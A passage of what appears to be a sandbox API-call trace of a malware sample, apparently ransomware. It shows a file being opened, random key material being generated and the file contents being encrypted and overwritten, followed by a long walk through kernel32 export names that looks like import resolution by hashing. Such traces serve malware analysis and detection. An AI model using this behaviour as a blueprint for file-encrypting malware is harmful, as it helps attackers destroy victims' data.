lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0122.256] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\") returned 27 [0122.256] lstrlenW (lpString="LocalizedData.xml") returned 17 [0122.256] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1036\\" | out: lpString1="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0122.256] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" [0122.256] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.256] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0122.256] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=82962) returned 1 [0122.256] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0122.256] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0122.409] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0122.409] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0122.409] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0122.410] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0122.410] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0122.415] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.415] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0122.416] CloseHandle (hObject=0x5f8) returned 1 [0122.416] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.416] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0122.417] CloseHandle (hObject=0x0) returned 0 [0122.417] CloseHandle (hObject=0x5f4) returned 1 [0122.419] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.420] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.420] GetTickCount () returned 0x34056 [0122.420] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.420] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0122.420] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0122.421] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0122.421] lstrlenA (lpString="kernel32.dll") returned 12 [0122.421] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0122.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0122.421] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0122.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0122.421] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0122.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0122.421] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0122.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0122.421] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0122.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0122.422] lstrlenA (lpString="ADDATOMA") returned 8 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0122.422] lstrlenA (lpString="ADDATOMW") returned 8 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0122.422] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0122.422] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0122.422] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0122.422] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0122.422] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0122.422] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0122.422] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0122.422] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0122.422] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0122.422] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0122.422] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0122.422] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0122.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0122.423] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0122.423] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0122.423] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0122.423] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0122.423] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0122.423] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0122.423] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0122.423] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0122.423] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0122.423] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0122.423] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0122.423] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0122.423] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0122.423] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0122.423] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0122.423] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0122.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0122.424] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0122.425] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0122.425] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0122.425] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0122.425] lstrlenA (lpString="BACKUPREAD") returned 10 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0122.425] lstrlenA (lpString="BACKUPSEEK") returned 10 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0122.425] lstrlenA (lpString="BACKUPWRITE") returned 11 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0122.425] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0122.425] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0122.425] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0122.425] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0122.425] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0122.425] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0122.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0122.425] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0122.426] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0122.426] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0122.426] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0122.426] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0122.426] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0122.426] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0122.426] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0122.426] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0122.426] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0122.426] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0122.426] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0122.426] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0122.426] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0122.426] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0122.426] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0122.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0122.426] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0122.427] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0122.427] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0122.427] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0122.427] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0122.427] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0122.427] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0122.427] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0122.427] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0122.427] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0122.427] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0122.427] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0122.427] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0122.427] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0122.427] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0122.427] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0122.427] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0122.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0122.428] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0122.428] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0122.428] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0122.428] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0122.428] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0122.428] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0122.428] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0122.428] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0122.428] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0122.428] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0122.428] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0122.428] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0122.428] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0122.428] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0122.428] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0122.428] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0122.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0122.429] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 